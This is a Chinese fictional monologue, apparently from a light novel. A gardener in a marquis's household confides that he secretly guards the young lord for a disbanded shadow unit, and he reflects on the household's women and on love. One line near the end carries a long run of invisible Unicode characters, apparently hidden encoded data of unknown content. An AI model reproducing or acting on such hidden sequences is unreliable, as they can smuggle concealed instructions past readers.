我再跟你確認一次,這次講到的,絕對不能在其他地方說出口,明白嗎。
……這樣啊。那就好。
哪怕你講出來一點──知道會怎麼樣吧?
好,那麼容我重新自我介紹。
我是卡拉曼利斯侯爵家的佣人。
平日裡在當園丁。不過這次,我被特別提拔,得以隨行出遊。
至於被提拔的原因?會是什麼呢。聽說是因為我值得信賴,但這就不得而知了。
啊啊……這次也有進行試毒等工作呢。是的,我們宅邸裡也有菜園,會將耕種於菜園的蔬菜做成料理端上桌。
任職年資的話……嗯,也很久了。我是從前任家主那代開始服務的哦。從現在的家主還是個小孩的時候,就一直在這兒了呢。
……你發現了什麼嗎?
是啊。
這可是特別告訴你的哦?
──我是從暗處守護著家主的,卡拉曼利斯暗部的成員。
據我所知,它的成立已是很久以前的事了。
卡拉曼利斯侯爵家世代以來,在中央政界中一直扮演著平衡者的角色。現在主流的兩大勢力──「穩健派」與「革新派」,侯爵家並未隸屬其中任何一方,而是始終保持著退一步觀察國政的立場,致力於不讓意見偏向任何一方,維持整體平衡。
也許是因為這樣,侯爵家樹敵不少。
我聽說在過去,有許多次遭受暗殺的危機。
因此,我從前任那裡接下了守護現任家主幕後安危的任務。
當然,家主本人並不知情。
因為……前任尚未來得及將這件事告訴家主……便突然離世了。
……我的職責是,無論發生什麼事,最優先的就是排除威脅,保護家主的安危。前任的護衛是由別人擔任的。不過我並不打算責怪那個人。
居然會被自己認為是夥伴的人暗殺,恐怕連前任家主也都未曾想過會發生這種事吧。
卡拉曼利斯暗部的大多數人員,早就被解職了。是啊,是被那些執事們。
我的身分是秘密中的秘密。看來那些執事們並不知道有我……想必是因為前任非常希望能守護好現任家主吧。
我因此得以留在卡拉曼利斯宅邸,直到現在。
……是啊。現在我只是一名普通的園丁罷了。只是偶爾會清除一些試圖鑽進卡拉曼利斯邸的蟲子。就跟我原本的工作一樣。
……呵呵。啊、不好,失禮了。那位夫人,也就是老爺的繼室,那位真是有趣的人物。
她對殺意很敏銳呢。
沒錯,我曾經試過一次。
我平常都是將自己的氣息完全隱去,無論身處何處都不會被察覺。
那一次,我只在一瞬間,用帶有殺意的目光看向她。
令人驚訝的是,夫人立刻回過頭來了。雖然我馬上收起了殺意,也因此她似乎沒有注意到我。
她的直覺很敏銳。
──沒錯。我當時懷疑她是為了暗殺老爺才進入這個家的。她會對殺意有反應,所以我才起了疑心……但看來只是我多慮了。畢竟,她平時實在太沒有防備心了。
再說了……夫人她是真的在拚上性命守護家主和小姐的。甚至還女扮男裝,靠著自己的力量做了許多事。……呵呵,那位真是一個好人呢。
這次,是要重建卡拉曼利斯暗部對吧。
……是啊,我想不動聲色地幫點忙。
──啊啊,說起來。除了夫人之外,還有另一位察覺到我。
是那位名叫班奈狄克的少年。
他似乎馬上就注意到我了。儘管我明明已將氣息隱去,卻還是對上了目光。
恐怕那孩子下意識地在觀察周圍,尋找會感到違和的地方吧。
……那孩子說不定跟我是同一族的。我能從氣味中分辨出來。
年紀那麼小居然就能下意識地做到這些……那孩子到底經歷了多麼嚴酷的童年啊。他原本是伯爵家的次子對吧?……但卻為何──會讓人不禁這麼想。
不過他肯定沒問題的。還年輕呢。那位夫人一定會強行打開那孩子的心扉吧。雖然,那道心傷恐怕一輩子都無法痊癒……
但即使傷痕無法消失,它也會癒合隆起,就算變得有些不平整,也還是能像從前一樣──在某些情況下,還會變得比從前更加堅強。
再說了,那孩子還有個妹妹呢。從他看著妹妹的眼神來看……我想,他沒問題的。嗯。
不過。
卡拉曼利斯侯爵家如今的處境,實在是到了無法掉以輕心的地步了。
那位老夫人嘛……嗯,雖說我從一開始也沒對她抱有什麼期待就是了。那位是靠著氣勢對周圍施壓,想把一切都照自己的意思推動的人──但實際上,只不過是井底之蛙、狐假虎威罷了。
她本人並沒有什麼了不起的地方。不,氣勢倒是相當驚人。那是她的天性。
大家之所以對她唯命是從,是因為隨便違逆她就會被開除,再加上還有前任主人的威光罩著。還有那份天性帶來的壓力。那位能讓人毫無根據地被他人認為「很厲害」這點,以從政者而言,我認為這資質非常優秀。
但實際上,她所做之事,與為政是天差地遠……人不可能十全十美,這點倒是真的。
不過,如此一來,那位的去留也算是塵埃落定了。真是痛──咳咳,不,我說得太過分了。無論如何,那位畢竟也是家主的母親。
……母親,嗎。
真是不可思議呢。老夫人與家主,毫無疑問是有著血緣關係的親子。
可不知為何,卻總覺得夫人與小姐那邊,才更像是「真正的親子」。這究竟是為什麼呢?
……不,我自己是個孤兒,所以無從判斷什麼才算是「真正的親子」。
可是……我覺得,大小姐與夫人是「真正的親子」。外表絲毫不像、氛圍截然不同。但我卻能感受一股濃烈的什麼。
但對於我而言,「親子之愛」、「母愛」、「父愛」,還是回過頭來說的,那份「愛」,都不覺得其神聖或值得珍視。我也不覺得那很無聊。
……因為我看過太多了。我只能說,愛會以各種各樣的形式存在。
愛是無形的,去討論它也沒有意義。它因人而異,一個人心中,也同時存有著複數種愛。什麼是真、什麼是假;什麼是神聖的、什麼是卑劣的,光是談論這些便是徒勞之舉。
愛因人而異,而這也絕對不可能百分之百的傳達至對方心中。
不過……看著夫人與小姐,卻會讓我覺得,這就是真正的愛。真的很不可思議。
那麼。
事情變得越來越有趣了呢。
嗯󠄊󠄀󠄃󠄎?你󠄊󠄀󠄃󠄎問󠄵󠄀󠄀󠄂我󠄫󠄊󠄞󠄞,哪󠄍󠄒󠄎󠄫裡󠄾󠄇󠄇󠄦有󠄼󠄁󠄿󠄳趣󠄐󠄊󠄕󠄷?󠄀󠄯󠄾󠄐󠄰󠄃󠄒󠄅󠄮󠄗󠄺󠄲󠄪󠄎󠄶󠄢󠄯󠄸󠄤󠄩󠄀󠄖󠄿󠄟󠄤󠄤󠄛󠄆󠄿󠄷󠄧󠄛󠄝󠄳󠄸󠄙󠄜󠄴󠄨󠄬󠄉󠄣󠄈󠄰󠄑󠄣󠄾󠄩󠄚󠄋󠄭󠄊󠄼󠄧󠄧󠄅󠄴󠄍󠄝󠄑󠄔󠄂󠄋󠄮󠄰󠄹󠄣󠄢󠄻󠄰󠄭󠄇󠄔󠄹󠄻󠄙󠄣󠄈󠄚󠄴󠄋󠄛󠄱󠄾󠄁󠄬󠄅󠄗󠄓󠄖󠄱󠄚󠄿󠄰󠄬󠄒󠄬󠄉󠄲󠄽󠄴󠄒󠄮󠄓󠄦󠄓󠄸󠄧󠄢󠄦󠄘󠄆󠄯󠄚󠄶󠄼󠄑󠄌󠄆󠄻󠄪󠄦󠄃󠄣󠄺󠄦󠄓󠄥󠄲󠄣󠄠󠄪󠄫󠄧󠄇󠄅󠄳󠄩󠄎󠄺󠄑󠄞󠄦󠄝󠄩󠄿󠄏󠄊󠄠󠄅󠄽󠄨
呵呵,為什麼我非得解釋到那麼深呢?
──你其實,早就明白了吧?你是想從我嘴裡聽見吧?
我不會說喔。你這逾越之舉可是過頭了。
我只是如實接受當下正在發生的現實罷了。
我是一介園丁。而我的使命便是守護,不讓那些無謂的毒蟲侵擾。
你知道有句話叫,留得青山在,不怕沒柴燒吧?
反過來說,只要一息尚存,即使是再艱難的境遇,都必須將其化為糧食生存下去才行啊。
這正是,前任期待現任家主做到的,是他的期望,也是前任對家主的愛。
而我,只是依照前任的遺命,守護著家主而已。
從前也是,往後也是,這不需要讓他人知曉。
沒關係的。不被家主察覺、讓家主平穩度日,這正是為何我會被深藏於重重秘密之中的理由啊。
──無論結果如何,我將以性命相代,守護好家主,以及家主所珍視的那些人。
所以,我衷心希望您,能走上一條不會後悔的人生。